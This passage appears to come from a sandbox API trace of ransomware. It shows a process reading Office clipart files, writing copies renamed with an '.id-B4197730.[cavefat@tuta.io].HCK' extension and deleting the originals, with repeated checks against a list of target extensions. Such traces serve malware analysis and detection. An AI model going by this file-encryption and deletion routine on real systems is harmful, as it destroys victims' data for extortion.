returned -1 [0168.038] lstrlenW (lpString=".pdf") returned 4 [0168.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString=".xls") returned 4 [0168.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.038] lstrlenW (lpString=".xlsx") returned 5 [0168.038] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.038] lstrlenW (lpString=".ppt") returned 4 [0168.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0168.038] lstrlenW (lpString=".zip") returned 4 [0168.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.038] lstrlenW (lpString=".rar") returned 4 [0168.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString=".bz2") returned 4 [0168.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString=".7z") returned 3 [0168.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0168.038] lstrlenW (lpString=".dbf") returned 4 [0168.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0168.038] lstrlenW (lpString=".1cd") returned 4 [0168.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68 [0168.038] lstrlenW (lpString=".jpg") returned 4 [0168.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.039] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.039] lstrlenW (lpString="J0107658.WMF") returned 12 [0168.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.043] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7072) returned 1 [0168.043] CloseHandle (hObject=0x330) returned 1 [0168.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 0x220 [0168.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.048] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.048] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.055] GetLastError () returned 0x0 [0168.055] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1ba0, lpOverlapped=0x0) returned 1 [0168.061] WriteFile (in: hFile=0x330, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0168.062] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.062] WriteFile (in: hFile=0x330, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.062] SetEndOfFile (hFile=0x330) returned 1 [0168.068] CloseHandle (hObject=0x330) returned 1 [0168.070] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.070] SetEndOfFile (hFile=0x308) returned 1 [0168.072] CloseHandle (hObject=0x308) returned 1 [0168.073] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 1 [0168.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0168.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0168.074] lstrlenW (lpString=".doc") returned 4 [0168.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.074] lstrlenW (lpString=".docx") returned 5 [0168.074] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.075] lstrlenW (lpString=".pdf") returned 4 [0168.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.075] lstrlenW (lpString=".xls") returned 4 [0168.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.075] lstrlenW (lpString=".xlsx") returned 5 [0168.075] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.075] lstrlenW (lpString=".ppt") returned 4 [0168.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0168.075] lstrlenW (lpString=".zip") returned 4 [0168.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.075] lstrlenW (lpString=".rar") returned 4 [0168.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.075] lstrlenW (lpString=".bz2") returned 4 [0168.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.075] lstrlenW (lpString=".7z") returned 3 [0168.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0168.075] lstrlenW (lpString=".dbf") returned 4 [0168.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0168.075] lstrlenW (lpString=".1cd") returned 4 [0168.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0168.075] lstrlenW (lpString=".jpg") returned 4 [0168.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0168.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0168.075] lstrlenW (lpString=".doc") returned 4 [0168.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.075] lstrlenW (lpString=".docx") returned 5 [0168.075] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.075] lstrlenW (lpString=".pdf") returned 4 [0168.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.075] lstrlenW (lpString=".xls") returned 4 [0168.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.075] lstrlenW (lpString=".xlsx") returned 5 [0168.075] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.075] lstrlenW (lpString=".ppt") returned 4 [0168.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0168.075] lstrlenW (lpString=".zip") returned 4 [0168.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.075] lstrlenW (lpString=".rar") returned 4 [0168.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.075] lstrlenW (lpString=".bz2") returned 4 [0168.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.075] lstrlenW (lpString=".7z") returned 3 [0168.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0168.076] lstrlenW (lpString=".dbf") returned 4 [0168.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0168.076] lstrlenW (lpString=".1cd") returned 4 [0168.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF") returned 68 [0168.076] lstrlenW (lpString=".jpg") returned 4 [0168.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.076] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.076] lstrlenW (lpString="J0107718.WMF") returned 12 [0168.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0168.080] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3800) returned 1 [0168.080] CloseHandle (hObject=0x370) returned 1 [0168.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 0x220 [0168.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0168.083] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.084] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0168.084] GetLastError () returned 0x0 [0168.084] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xed8, lpOverlapped=0x0) returned 1 [0168.119] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xee0, lpOverlapped=0x0) returned 1 [0168.119] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.120] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.120] SetEndOfFile (hFile=0x368) returned 1 [0168.120] CloseHandle (hObject=0x368) returned 1 [0168.120] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.120] SetEndOfFile (hFile=0x2ec) returned 1 [0168.120] CloseHandle (hObject=0x2ec) returned 1 [0168.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.121] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf")) returned 1 [0168.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0168.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0168.121] lstrlenW (lpString=".doc") returned 4 [0168.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.121] lstrlenW (lpString=".docx") returned 5 [0168.121] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.121] lstrlenW (lpString=".pdf") returned 4 [0168.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.121] lstrlenW (lpString=".xls") returned 4 [0168.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.121] lstrlenW (lpString=".xlsx") returned 5 [0168.121] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.121] lstrlenW (lpString=".ppt") returned 4 [0168.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0168.121] lstrlenW (lpString=".zip") returned 4 [0168.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.121] lstrlenW (lpString=".rar") returned 4 [0168.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.121] lstrlenW (lpString=".bz2") returned 4 [0168.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.121] lstrlenW (lpString=".7z") returned 3 [0168.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0168.121] lstrlenW (lpString=".dbf") returned 4 [0168.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0168.121] lstrlenW (lpString=".1cd") returned 4 [0168.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0168.122] lstrlenW (lpString=".jpg") returned 4 [0168.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0168.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0168.122] lstrlenW (lpString=".doc") returned 4 [0168.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.122] lstrlenW (lpString=".docx") returned 5 [0168.122] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.122] lstrlenW (lpString=".pdf") returned 4 [0168.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.122] lstrlenW (lpString=".xls") returned 4 [0168.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.122] lstrlenW (lpString=".xlsx") returned 5 [0168.122] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.122] lstrlenW (lpString=".ppt") returned 4 [0168.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0168.122] lstrlenW (lpString=".zip") returned 4 [0168.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.122] lstrlenW (lpString=".rar") returned 4 [0168.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.122] lstrlenW (lpString=".bz2") returned 4 [0168.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.122] lstrlenW (lpString=".7z") returned 3 [0168.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0168.122] lstrlenW (lpString=".dbf") returned 4 [0168.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0168.122] lstrlenW (lpString=".1cd") returned 4 [0168.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF") returned 68 [0168.122] lstrlenW (lpString=".jpg") returned 4 [0168.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.122] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.122] lstrlenW (lpString="J0107730.WMF") returned 12 [0168.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0168.123] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=3060) returned 1 [0168.123] CloseHandle (hObject=0x2ec) returned 1 [0168.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 0x220 [0168.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0168.123] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.123] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0168.124] GetLastError () returned 0x0 [0168.124] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xbf4, lpOverlapped=0x0) returned 1 [0168.216] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xc00, lpOverlapped=0x0) returned 1 [0168.217] ReadFile (in: hFile=0x2ec, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.217] WriteFile (in: hFile=0x368, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.217] SetEndOfFile (hFile=0x368) returned 1 [0168.217] CloseHandle (hObject=0x368) returned 1 [0168.217] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.218] SetEndOfFile (hFile=0x2ec) returned 1 [0168.218] CloseHandle (hObject=0x2ec) returned 1 [0168.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 1 [0168.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0168.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0168.220] lstrlenW (lpString=".doc") returned 4 [0168.220] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.220] lstrlenW (lpString=".docx") returned 5 [0168.220] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.220] lstrlenW (lpString=".pdf") returned 4 [0168.220] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.220] lstrlenW (lpString=".xls") returned 4 [0168.220] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.220] lstrlenW (lpString=".xlsx") returned 5 [0168.220] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.220] lstrlenW (lpString=".ppt") returned 4 [0168.220] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0168.221] lstrlenW (lpString=".zip") returned 4 [0168.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.221] lstrlenW (lpString=".rar") returned 4 [0168.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.221] lstrlenW (lpString=".bz2") returned 4 [0168.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.221] lstrlenW (lpString=".7z") returned 3 [0168.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0168.221] lstrlenW (lpString=".dbf") returned 4 [0168.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0168.221] lstrlenW (lpString=".1cd") returned 4 [0168.221] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0168.221] lstrlenW (lpString=".jpg") returned 4 [0168.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0168.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0168.221] lstrlenW (lpString=".doc") returned 4 [0168.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.221] lstrlenW (lpString=".docx") returned 5 [0168.221] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.221] lstrlenW (lpString=".pdf") returned 4 [0168.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.221] lstrlenW (lpString=".xls") returned 4 [0168.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.221] lstrlenW (lpString=".xlsx") returned 5 [0168.221] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.221] lstrlenW (lpString=".ppt") returned 4 [0168.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0168.221] 